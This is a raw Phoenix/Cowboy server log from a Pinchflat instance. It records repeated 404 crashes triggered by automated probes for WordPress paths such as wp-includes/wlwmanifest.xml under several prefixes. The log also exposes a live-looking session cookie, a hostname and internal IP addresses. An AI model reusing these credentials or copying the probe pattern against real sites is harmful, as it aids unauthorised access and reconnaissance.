[file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.14611.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//blog/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 56172}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /blog/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.14611.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//blog/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 56172}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" (truncated) 01:25:40.841 [info] GET //wordpress/wp-includes/wlwmanifest.xml 01:25:40.842 [debug] QUERY OK source="settings" db=0.2ms idle=953.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:25:40.842 [debug] QUERY OK source="settings" db=0.0ms idle=622.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:25:40.842 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 01:25:40.842 [error] #PID<0.14615.0> running PinchflatWeb.Endpoint (connection #PID<0.14611.0>, stream id 4) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET //wordpress/wp-includes/wlwmanifest.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wordpress/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.14611.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//wordpress/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 56172}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.14615.0>, params: %{}, path_info: ["wordpress", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.5"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "//wordpress/wp-includes/wlwmanifest.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGHKZYOeZkCUBEAA4KC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.14611.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//wordpress/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 56172}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wordpress/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.14611.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//wordpress/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 56172}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", (truncated) 01:25:41.444 [info] GET //wp/wp-includes/wlwmanifest.xml 01:25:41.445 [debug] QUERY OK source="settings" db=0.2ms idle=755.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:25:41.445 [debug] QUERY OK source="settings" db=0.0ms idle=755.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:25:41.445 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 01:25:41.445 [error] #PID<0.14616.0> running PinchflatWeb.Endpoint (connection #PID<0.14611.0>, stream id 5) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET //wp/wp-includes/wlwmanifest.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.14611.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//wp/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 56172}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.14616.0>, params: %{}, path_info: ["wp", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.5"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "//wp/wp-includes/wlwmanifest.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGHKbn9US1bzLEAA4MC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.14611.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//wp/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 56172}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.14611.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//wp/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 56172}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, (truncated) 01:25:42.028 [info] GET //2018/wp-includes/wlwmanifest.xml 01:25:42.028 [debug] QUERY OK source="settings" db=0.2ms idle=1185.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:25:42.028 [debug] QUERY OK source="settings" db=0.1ms idle=1139.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:25:42.029 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 01:25:42.029 [error] #PID<0.14617.0> running PinchflatWeb.Endpoint (connection #PID<0.14611.0>, stream id 6) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET //2018/wp-includes/wlwmanifest.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /2018/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.14611.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//2018/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 56172}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.14617.0>, params: %{}, path_info: ["2018", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.5"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "//2018/wp-includes/wlwmanifest.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGHKdzGf3S3grYAA4OC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.14611.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//2018/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 56172}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /2018/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.14611.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//2018/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 56172}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" (truncated) 01:25:42.617 [info] GET //shop/wp-includes/wlwmanifest.xml 01:25:42.618 [debug] QUERY OK source="settings" db=0.2ms idle=1172.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:25:42.618 [debug] QUERY OK source="settings" db=0.1ms idle=1172.9ms SELECT s0."id", s0."onboarding", 